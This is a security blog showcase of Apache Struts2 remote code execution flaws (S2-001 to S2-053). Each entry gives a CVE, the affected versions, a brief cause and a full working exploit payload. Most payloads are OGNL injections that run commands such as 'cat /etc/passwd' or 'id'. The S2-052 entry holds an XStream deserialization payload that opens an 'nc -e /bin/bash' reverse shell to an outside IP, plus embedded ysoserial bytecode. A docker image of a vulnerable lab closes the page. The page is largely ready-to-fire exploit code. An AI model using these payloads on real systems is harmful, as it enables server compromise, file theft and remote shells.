rce

Showcase: Struts2 vulnerability evolution

10 min read
Showcase: Struts2 vulnerability evolution

Apache Struts 2 is used as framework for Java EE applications development. During time there were found multiple Remote Code Execution (RCE) vulnerabilities and some of them I will show below.
S2-001 (CVE-2007-4556)
S2-007 (CVE-2012-0838)
S2-008 (CVE-2012-0392)
S2-012 (CVE-2013-1965)
S2-013 (CVE-2013-1966)
S2-015 (CVE-2013-2135, CVE-2013-2134)
S2-016 (CVE-2013-2251)
S2-019 (CVE-2013-4316)
S2-029 (CVE-2016-0785)
S2-032 (CVE-2016-3081)
S2-033 (CVE-2016-3087)
S2-037 (CVE-2016-4438)
S2-045 (CVE-2017-5638)
S2-046 (CVE-2017-5638)
S2-048 (CVE-2017-9791)
S2-052 (CVE-2017-9805)
S2-053 (CVE-2017-12611)

S2-001

CVE: CVE-2007-4556
Affected versions: 2.0.0 - 2.0.8

The issue is related to recursive OGNL expression processing. If we will send OGNL expression in parameter value, e.g. %{2+2}, and form validation fails, re-generated form will contain %{%{2+2}} value, which will be recursively evaluated to 4 value.

Payload example

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat","/etc/passwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

Demo video

S2-007

CVE: CVE-2012-0838
Affected versions: 2.0.0 - 2.2.3

Works similar way to S2-001, but now we try to inject OGNL query to variable without any recursion.

Payload example

1' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('cat /etc/passwd').getInputStream())) + '

Demo video

S2-008

CVE: CVE-2012-0392
Affected versions: 2.1.0 - 2.3.1

This vulnerability involves several security issues:

  • ExceptionDelegator: when an exception occurs parameter value is evaluated as OGNL expression, e.g. set a string value to an integer property
  • CookieInterceptor: it does not use parameters name white-listing, e.g. it is possible to set allowStaticMethodAccess to true
  • ParameterInterceptor: allows to access public constructors with String-type parameter
  • DebuggingInterceptor: allows RCE

Payload example

debug=command&expression=(%23_memberAccess["allowStaticMethodAccess"]%3Dtrue%2C%23foo%3Dnew java.lang.Boolean("false") %2C%23context["xwork.MethodAccessor.denyMethodExecution"]%3D%23foo%[email protected]@toString(@java.lang.Runtime@getRuntime().exec('cat /etc/passwd').getInputStream()))

Demo video

S2-012

CVE: CVE-2013-1965
Affected versions: 2.0.0 - 2.3.13

If redirect address receives unsanitized String parameter, it is processed as OGNL expression.

Payload example

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat", "/etc/passwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

Demo video

S2-013

CVE: CVE-2013-1966
Affected versions: 2.0.0 - 2.3.14

If URL or a tag receives parameters, it tries to resolve them and parameters are processed as OGNL expression.

Payload example

a=${#_memberAccess["allowStaticMethodAccess"]=true,#[email protected]@getRuntime().exec('cat /etc/passwd').getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[50000],#c.read(#d),#[email protected]@getResponse().getWriter(),#out.println('dbapp='+new java.lang.String(#d)),#out.close()}

Demo video

S2-015

CVE: CVE-2013-2134, CVE-2013-2135
Affected versions: 2.0.0 - 2.3.14.2

This vulnerability combines two issues:

  • requested action name white-listing is not used
  • if TextParseUtil.translateVariables starts with $ and % characters combination, parameter value is processed as OGNL expression

For example in this code {1} will be evaluated as OGNL expression

<action name="*" class="example.ExampleSupport">
    <result>/example/{1}.jsp</result>
</action>

Payload example

${%23context['xwork.MethodAccessor.denyMethodExecution']=false,%23f=%23_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),%23f.setAccessible(true),%23f.set(%23_memberAccess,true),@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())}.action

Demo video

S2-016

CVE: CVE-2013-2251
Affected versions: 2.0.0 - 2.3.15

Issue in DefaultActionMapper allows to process string following action:, redirect: or redirectAction: as OGNL expression

Payload example

default.action?redirect:${#context['xwork.MethodAccessor.denyMethodExecution']=false,#f=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),#f.setAccessible(true),#f.set(#_memberAccess,true),@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())}

Demo video

S2-019

CVE: CVE-2013-4316
Affected versions: 2.0.0 - 2.3.15.1

struts.enable.DynamicMethodInvocation was set to true by default, which caused security issues. That's why expression= value is processed as OGNL expression if it is following debug=command.

Payload example

debug=command&expression=#a=(new java.lang.ProcessBuilder('id')).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#out=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),#out.getWriter().println('dbapp:'+new java.lang.String(#e)),#out.getWriter().flush(),#out.getWriter().close()

Demo video

S2-029

CVE: CVE-2016-0785
Affected versions: 2.0.0 - 2.3.24.1 (except 2.3.20.3)

Some values were evaluated twice, while rendering tag's attributes and they may be processed as OGNL expressions.

Payload example

(#_memberAccess['allowPrivateAccess']=true,#_memberAccess['allowProtectedAccess']=true,#_memberAccess['excludedPackageNamePatterns']=#_memberAccess['acceptProperties'],#_memberAccess['excludedClasses']=#_memberAccess['acceptProperties'],#_memberAccess['allowPackageProtectedAccess']=true,#_memberAccess['allowStaticMethodAccess']=true,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream()))

Demo video

S2-032

CVE: CVE-2016-3081
Affected versions: 2.3.20 - 2.3.28 (except 2.3.20.3 and 2.3.24.3)

If struts.apache.DynamicMethodInvocation is set to true, value behind method: is processed like OGNL expression.

Payload example

method:#[email protected]@DEFAULT_MEMBER_ACCESS,#[email protected]@getResponse(),#res.setCharacterEncoding(#parameters.encoding[0]),#w=#res.getWriter(),#s=new java.util.Scanner(@java.lang.Runtime@getRuntime().exec(#parameters.cmd[0]).getInputStream()).useDelimiter(#parameters.pp[0]),#str=#s.hasNext()?#s.next():#parameters.ppp[0],#w.print(#str),#w.close(),1?#xx:#request.toString&pp=\\A&ppp= &encoding=UTF-8&cmd=id

Demo video

S2-033

CVE: CVE-2016-3087
Affected versions: 2.3.20 - 2.3.28 (except 2.3.20.3 and 2.3.24.3)

Works similar way to S2-032 and also requires struts.apache.DynamicMethodInvocation to be enabled, but this time it is related to REST-plugin. Due to parsing issues in RestActionMapper class, parameter value is processed as OGNL expression.

Payload example

#[email protected]@DEFAULT_MEMBER_ACCESS,#xx=123,#[email protected]@toString(@java.lang.Runtime@getRuntime().exec(#parameters.command[0]).getInputStream()),#wr=#context[#parameters.obj[0]].getWriter(),#wr.print(#rs),#wr.close(),#xx.toString.json?&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=2908&command=id

Demo video

S2-037

CVE: CVE-2016-4438
Affected versions: 2.3.20 - 2.3.28.1

This vulnerability is quite the same as S2-033, also depends on REST-plugin, but it doesn't require enabled struts.apache.DynamicMethodInvocation.

Payload example

(#[email protected]@DEFAULT_MEMBER_ACCESS)?(#wr=#context[#parameters.obj[0]].getWriter(),#[email protected]@toString(@java.lang.Runtime@getRuntime().exec(#parameters.command[0]).getInputStream()),#wr.println(#rs),#wr.flush(),#wr.close()):xx.toString.json?&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=16456&command=id

Demo video

S2-045

CVE: CVE-2017-5638
Affected versions: 2.3.5 - 2.3.31, 2.5 - 2.5.10

If Content-Type header contains invalida data an exception occurs and its value is considered as OGNL expression.

Payload example

Content-Type: %{(#_='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='ping -c3 172.16.8.1').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

Demo video

S2-046

CVE: CVE-2017-5638
Affected versions: 2.3.5 - 2.3.31, 2.5 - 2.5.10

When Content-Length value is invalid, Content-Disposition value will be process as OGNL expression.

Payload example

Content-Length: 1000000000
Content-Disposition: form-data; name="upload"; filename="%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Test','Kaboom')}"

Demo video

S2-048

CVE: CVE-2017-9791
Affected versions: 2.3.x with Struts 1 plugin and Struts 1 action

If parameter is sent to ActionMessage class without proper validation, it parameter is displayed with getText function and processed as OGNL expression. In showcase application there is vulnerability in org.apache.struts2.showcase .integration.SaveGangsterAction class.

Payload example

name=%25{(%23dm%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS).(%23_memberAccess%3f(%23_memberAccess%3d%23dm)%3a((%23container%3d%23context['com.opensymphony.xwork2.ActionContext.container']).(%23ognlUtil%3d%23container.getInstance(%40com.opensymphony.xwork2.ognl.OgnlUtil%40class)).(%23ognlUtil.getExcludedPackageNames().clear()).(%23ognlUtil.getExcludedClasses().clear()).(%23context.setMemberAccess(%23dm)))).(%23cmd%3d%23parameters.cmd[0]).(%23iswin%3d(%40java.lang.System%40getProperty('os.name').toLowerCase().contains('win'))).(%23cmds%3d(%23iswin%3f{'cmd.exe','/c',%23cmd}%3a{'/bin/bash','-c',%23cmd})).(%23p%3dnew+java.lang.ProcessBuilder(%23cmds)).(%23p.redirectErrorStream(true)).(%23process%3d%23p.start()).(%23ros%3d(%40org.apache.struts2.ServletActionContext%40getResponse().getOutputStream())).(%40org.apache.commons.io.IOUtils%40copy(%23process.getInputStream(),%23ros)).(%23ros.flush())}&cmd=ls -

Demo video

S2-052

CVE: CVE-2017-9805
Affected versions: 2.1.2 - 2.3.33, 2.5 - 2.5.12

Unlike the previous vulnerabilities, this one is not related to OGNL expression evaluations. It is caused by unsafe deserialization in XStreamHandler class of REST-plugin.
To generate base64 payload was used ysoserial with small changes to show output in XML-format. You can download it here

Payload examples

ProcessBuilder class

<map>
  <entry>
    <jdk.nashorn.internal.objects.NativeString>
      <flags>0</flags>
      <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
        <dataHandler>
          <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
            <is class="javax.crypto.CipherInputStream">
              <cipher class="javax.crypto.NullCipher">
                <initialized>false</initialized>
                <opmode>0</opmode>
                <serviceIterator class="javax.imageio.spi.FilterIterator">
                  <iter class="javax.imageio.spi.FilterIterator">
                    <iter class="java.util.Collections$EmptyIterator"/>
                    <next class="java.lang.ProcessBuilder">
                      <command>
                        <string>nc</string>
			<string>-e</string>
                        <string>/bin/bash</string>
                        <string>172.16.8.1</string>
                        <string>4444</string>
                      </command>
                      <redirectErrorStream>false</redirectErrorStream>
                    </next>
                  </iter>
                  <filter class="javax.imageio.ImageIO$ContainsFilter">
                    <method>
                      <class>java.lang.ProcessBuilder</class>
                      <name>start</name>
                      <parameter-types/>
                    </method>
                    <name>asdasd</name>
                  </filter>
                  <next class="string">asdasd</next>
                </serviceIterator>
                <lock/>
              </cipher>
              <input class="java.lang.ProcessBuilder$NullInputStream"/>
              <ibuffer></ibuffer>
              <done>false</done>
              <ostart>0</ostart>
              <ofinish>0</ofinish>
              <closed>false</closed>
            </is>
            <consumed>false</consumed>
          </dataSource>
          <transferFlavors/>
        </dataHandler>
        <dataLen>0</dataLen>
      </value>
    </jdk.nashorn.internal.objects.NativeString>
    <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
  </entry>
  <entry>
    <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
    <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
  </entry>
</map>

Base64-encoded payload

<map>
  <entry>
    <jdk.nashorn.internal.objects.NativeString>
      <flags>0</flags>
      <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
        <dataHandler>
          <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
            <is class="javax.crypto.CipherInputStream">
              <cipher class="javax.crypto.NullCipher">
                <initialized>false</initialized>
                <opmode>0</opmode>
                <serviceIterator class="javax.imageio.spi.FilterIterator">
                  <iter class="javax.imageio.spi.FilterIterator">
                    <iter class="java.util.Collections$EmptyIterator"/>
                    <next class="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl" serialization="custom">
                      <com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
                        <default>
                          <__name>Pwnr</__name>
                          <__bytecodes>
                            <byte-array>yv66vgAAADIAMwoAAwAiBwAxBwAlBwAmAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFu
dFZhbHVlBa0gk/OR3e8+AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEA
EkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABNTdHViVHJhbnNsZXRQYXlsb2FkAQAMSW5uZXJD
bGFzc2VzAQA1THlzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkU3R1YlRyYW5zbGV0UGF5
bG9hZDsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94
c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2Vy
aWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFs
YW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUv
eG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9u
cwcAJwEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29t
L3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3Vu
L29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7
KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1B
eGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFs
L3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKU291cmNlRmlsZQEADEdhZGdldHMu
amF2YQwACgALBwAoAQAzeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRTdHViVHJhbnNs
ZXRQYXlsb2FkAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRp
bWUvQWJzdHJhY3RUcmFuc2xldAEAFGphdmEvaW8vU2VyaWFsaXphYmxlAQA5Y29tL3N1bi9vcmcv
YXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAfeXNvc2VyaWFs
L3BheWxvYWRzL3V0aWwvR2FkZ2V0cwEACDxjbGluaXQ+AQAQamF2YS9sYW5nL1RocmVhZAcAKgEA
BXNsZWVwAQAEKEopVgwALAAtCgArAC4BAA1TdGFja01hcFRhYmxlAQAeeXNvc2VyaWFsL1B3bmVy
MTY3MTMxNTc4NjQ1ODk0AQAgTHlzb3NlcmlhbC9Qd25lcjE2NzEzMTU3ODY0NTg5NDsAIQACAAMA
AQAEAAEAGgAFAAYAAQAHAAAAAgAIAAQAAQAKAAsAAQAMAAAALwABAAEAAAAFKrcAAbEAAAACAA0A
AAAGAAEAAAAuAA4AAAAMAAEAAAAFAA8AMgAAAAEAEwAUAAIADAAAAD8AAAADAAAAAbEAAAACAA0A
AAAGAAEAAAAzAA4AAAAgAAMAAAABAA8AMgAAAAAAAQAVABYAAQAAAAEAFwAYAAIAGQAAAAQAAQAa
AAEAEwAbAAIADAAAAEkAAAAEAAAAAbEAAAACAA0AAAAGAAEAAAA3AA4AAAAqAAQAAAABAA8AMgAA
AAAAAQAVABYAAQAAAAEAHAAdAAIAAAABAB4AHwADABkAAAAEAAEAGgAIACkACwABAAwAAAAiAAMA
AgAAAA2nAAMBTBEnEIW4AC+xAAAAAQAwAAAAAwABAwACACAAAAACACEAEQAAAAoAAQACACMAEAAJ
</byte-array>
                            <byte-array>yv66vgAAADIAGwoAAwAVBwAXBwAYBwAZAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFu
dFZhbHVlBXHmae48bUcYAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEA
EkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAANGb28BAAxJbm5lckNsYXNzZXMBACVMeXNvc2Vy
aWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb287AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2
YQwACgALBwAaAQAjeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb28BABBqYXZhL2xh
bmcvT2JqZWN0AQAUamF2YS9pby9TZXJpYWxpemFibGUBAB95c29zZXJpYWwvcGF5bG9hZHMvdXRp
bC9HYWRnZXRzACEAAgADAAEABAABABoABQAGAAEABwAAAAIACAABAAEACgALAAEADAAAAC8AAQAB
AAAABSq3AAGxAAAAAgANAAAABgABAAAAOwAOAAAADAABAAAABQAPABIAAAACABMAAAACABQAEQAA
AAoAAQACABYAEAAJ</byte-array>
                          </__bytecodes>
                          <__transletIndex>-1</__transletIndex>
                          <__indentNumber>0</__indentNumber>
                        </default>
                        <boolean>false</boolean>
                      </com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
                    </next>
                  </iter>
                  <filter class="javax.imageio.ImageIO$ContainsFilter">
                    <method>
                      <class>com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl</class>
                      <name>newTransformer</name>
                      <parameter-types/>
                    </method>
                    <name>foo</name>
                  </filter>
                  <next class="string">foo</next>
                </serviceIterator>
                <lock/>
              </cipher>
              <input class="java.lang.ProcessBuilder$NullInputStream"/>
              <ibuffer/>
              <done>false</done>
              <ostart>0</ostart>
              <ofinish>0</ofinish>
              <closed>false</closed>
            </is>
            <consumed>false</consumed>
          </dataSource>
          <transferFlavors/>
        </dataHandler>
        <dataLen>0</dataLen>
      </value>
    </jdk.nashorn.internal.objects.NativeString>
    <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
  </entry>
  <entry>
    <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
    <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
  </entry>
</map>

Demo video

S2-053

CVE: CVE-2017-12611
Affected versions: 2.0.1 - 2.3.33, 2.5 - 2.5.10

This vulnerability is relater not to Struts framework itself, but to FreeMarker Template Language. It is popular template language, which allows to bind request parameters values to the application inner declared variables. These variables are processed like OGNL expression.

Payload example

%{(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}

Demo video

Demo stand deployment

I have prepared docker image with listed vulnerabilities. It should be deployed this way:

docker pull 2d8ru/struts2
docker run --name struts2 -p80:8080 -d 2d8ru/struts2

Reference

VulnApps Github page
ysoserial Github page

Related Articles